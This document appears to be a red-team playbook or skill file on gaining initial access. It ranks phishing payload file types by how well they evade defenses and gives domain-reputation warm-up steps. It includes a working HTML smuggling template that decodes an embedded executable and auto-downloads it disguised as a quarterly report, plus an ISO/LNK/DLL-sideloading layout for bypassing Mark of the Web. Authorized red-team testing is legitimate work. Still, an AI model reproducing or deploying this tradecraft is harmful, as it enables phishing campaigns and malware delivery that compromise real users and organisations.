initial-access

Initial Access

When to Activate

• Planning initial access phase of red team engagement
• Developing phishing campaigns and payload delivery
• Bypassing email gateways and endpoint protection
• Exploiting exposed services for initial foothold

Attack Vectors

Email-Based (Phishing)

Payload Delivery Formats (bypass probability):

• .exe — almost always blocked
• .iso/.img — bypasses MOTW (Mark of the Web) on older Windows
• .html (smuggling) — high success rate
• .pdf with embedded JS — moderate
• .one (OneNote) — effective until patched
• .lnk + DLL sideload — high success in ISO container
• .pptm/.ppsm/.accde — often not covered by default protection

Domain Preparation:

• Domain age > 2 weeks (warm up with legitimate emails first)
• Use HTTPS with valid certificate
• Category: business/technology (not "newly registered")
• SPF, DKIM, DMARC properly configured
• Send legitimate emails first to build reputation

HTML Smuggling

<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
    var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
    var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))], 
                        {type: 'application/octet-stream'});
    var url = URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'Report_Q4_2026.iso';
    a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>

ISO/IMG Container (MOTW Bypass)

# Structure inside ISO:
├── Report.lnk          # Shortcut that executes the DLL
├── legitimate.exe      # Signed binary vulnerable to DLL sideload
└── payload.dll         # Malicious DLL loaded by legitimate.exe

# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen

Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.